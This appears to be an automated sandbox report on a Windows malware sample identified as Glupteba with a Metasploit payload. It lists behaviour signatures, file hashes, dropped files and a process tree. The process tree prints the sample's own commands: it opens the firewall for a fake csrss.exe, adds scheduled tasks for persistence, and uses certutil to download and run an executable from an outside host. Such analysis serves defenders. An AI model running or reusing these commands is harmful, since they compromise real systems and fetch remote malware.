Analysis

  • max time kernel
    179s
  • max time network
    198s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-06-2022 09:44

General

  • Target

    398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe

  • Size

    4.3MB

  • MD5

    23e940efe55576aeea02f54992c58d09

  • SHA1

    7620ba8933e3cf83e757ae042f2adfb980174c8e

  • SHA256

    398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5

  • SHA512

    4b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 9 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe
    "C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:800
    • C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe
      "C:\Users\Admin\AppData\Local\Temp\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1988
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:1428
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        PID:676
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:324
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1056
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1412
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220625134533.log C:\Windows\Logs\CBS\CbsPersist_20220625134533.cab
    1⤵
    • Drops file in Windows directory
    PID:1432

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    4.3MB

    MD5

    23e940efe55576aeea02f54992c58d09

    SHA1

    7620ba8933e3cf83e757ae042f2adfb980174c8e

    SHA256

    398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5

    SHA512

    4b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    4.3MB

    MD5

    23e940efe55576aeea02f54992c58d09

    SHA1

    7620ba8933e3cf83e757ae042f2adfb980174c8e

    SHA256

    398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5

    SHA512

    4b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3

  • \Windows\rss\csrss.exe

    Filesize

    4.3MB

    MD5

    23e940efe55576aeea02f54992c58d09

    SHA1

    7620ba8933e3cf83e757ae042f2adfb980174c8e

    SHA256

    398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5

    SHA512

    4b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3

  • memory/676-75-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/676-71-0x0000000004880000-0x0000000004CB1000-memory.dmp

    Filesize

    4.2MB

  • memory/676-74-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/676-68-0x0000000000000000-mapping.dmp

  • memory/676-73-0x0000000004CC0000-0x00000000055CA000-memory.dmp

    Filesize

    9.0MB

  • memory/676-72-0x0000000004880000-0x0000000004CB1000-memory.dmp

    Filesize

    4.2MB

  • memory/800-58-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/800-56-0x0000000004ED0000-0x00000000057DA000-memory.dmp

    Filesize

    9.0MB

  • memory/800-54-0x0000000004A90000-0x0000000004EC1000-memory.dmp

    Filesize

    4.2MB

  • memory/800-59-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/800-55-0x0000000004A90000-0x0000000004EC1000-memory.dmp

    Filesize

    4.2MB

  • memory/800-57-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/860-63-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/860-70-0x0000000000400000-0x0000000002FB4000-memory.dmp

    Filesize

    43.7MB

  • memory/860-61-0x00000000048C0000-0x0000000004CF1000-memory.dmp

    Filesize

    4.2MB

  • memory/860-60-0x00000000048C0000-0x0000000004CF1000-memory.dmp

    Filesize

    4.2MB

  • memory/1412-84-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1412-78-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1428-64-0x0000000000000000-mapping.dmp

  • memory/1428-65-0x000007FEFB8E1000-0x000007FEFB8E3000-memory.dmp

    Filesize

    8KB

  • memory/1988-62-0x0000000000000000-mapping.dmp